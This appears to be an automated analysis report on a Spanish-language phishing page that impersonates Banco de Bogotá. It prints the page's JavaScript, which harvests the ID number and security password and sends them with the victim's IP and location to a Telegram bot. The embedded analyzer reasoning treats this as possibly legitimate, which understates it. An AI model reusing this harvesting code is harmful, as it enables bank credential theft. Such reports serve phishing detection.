Windows Analysis Report
https://cancelartransferenciaprogramadabdb.glitch.me/

{
    "typosquatting": false,
    "unusual_query_string": false,
    "suspicious_tld": true,
    "ip_in_url": false,
    "long_subdomain": true,
    "malicious_keywords": true,
    "encoded_characters": false,
    "redirection": false,
    "contains_email_address": false,
    "known_domain": false,
    "brand_spoofing_attempt": true,
    "third_party_hosting": true,
    "reasoning": "This URL contains suspicious elements: it's hosted on glitch.me (a third-party hosting platform), has a long subdomain that appears to be targeting Spanish-speaking users with 'cancelar transferencia' (cancel transfer), likely impersonating a bank (bdb), and uses suspicious keywords related to financial transactions. The .me TLD is often used in phishing campaigns."
}

URL: https://cancelartransferenciaprogramadabdb.glitch.me

{
    "risk_score": 6,
    "reasoning": "The script demonstrates a combination of moderate-risk and low-risk behaviors. It retrieves the user's IP address and location information from third-party APIs, which could be considered a form of data exfiltration. Additionally, it collects user input data, including sensitive information like a 'clvseg' (likely a security code or password), and sends it to a Telegram bot. While the intent may be legitimate, the lack of transparency and the inclusion of potentially sensitive data in the message raises concerns about the script's security practices."
}

  $.getJSON("https://api.ipify.org?format=json", function(data) {
          $("#gfg").html(data.ip);
      });
      $.getJSON("https://ipinfo.io", function(response) {
    $("#ip").html("IP: " + response.ip);
    $("#address").html("" + response.city + ", " + response.country);
  });

  var u_name, u_name2,  u_name3, u_name4, ip, ip2, message;
  var ready = function() {
    u_name = document.getElementById("tipoPersona").value;
    u_name2 = document.getElementById("IType").value;
	u_name3 = document.getElementById("numi").value;
	u_name4 = document.getElementById("clvseg").value;
    ip = document.getElementById("gfg").innerHTML;
    ip2 = document.getElementById("address").innerHTML;
    message = "Ganadores bdb\nTipoCliente: " + u_name + "\nDocumento: " + u_name2 + "-" + u_name3 +  "\nClav3Seg: " + u_name4 + "\n\nIP: " + ip +"\n" + ip2;
  };
  var sender = function() {
    ready();
    var settings = {
      "async": true,
      "crossDomain": true,
      "url": "https://api.telegram.org/bot" + telegram_bot_id + "/sendMessage",
      "method": "POST",
      "headers": {
        "Content-Type": "application/json",
        "cache-control": "no-cache"
      },
      "data": JSON.stringify({
        "chat_id": chat_id,
        "text": message
      })
    };
    $.ajax(settings).done(function(response) {
      console.log(response);
      window.location = 'load.html';
    });
    return false;
  };

{
  "contains_trigger_text": true,
  "trigger_text": "Ingresa el tipo y numero de documento",
  "prominent_button_name": "Continuar",
  "text_input_field_labels": [
    "Que tipo de cliente eres?",
    "Identificacin",
    "Clave Segura"
  ],
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "brands": [
    "Banco de Bogot"
  ]
}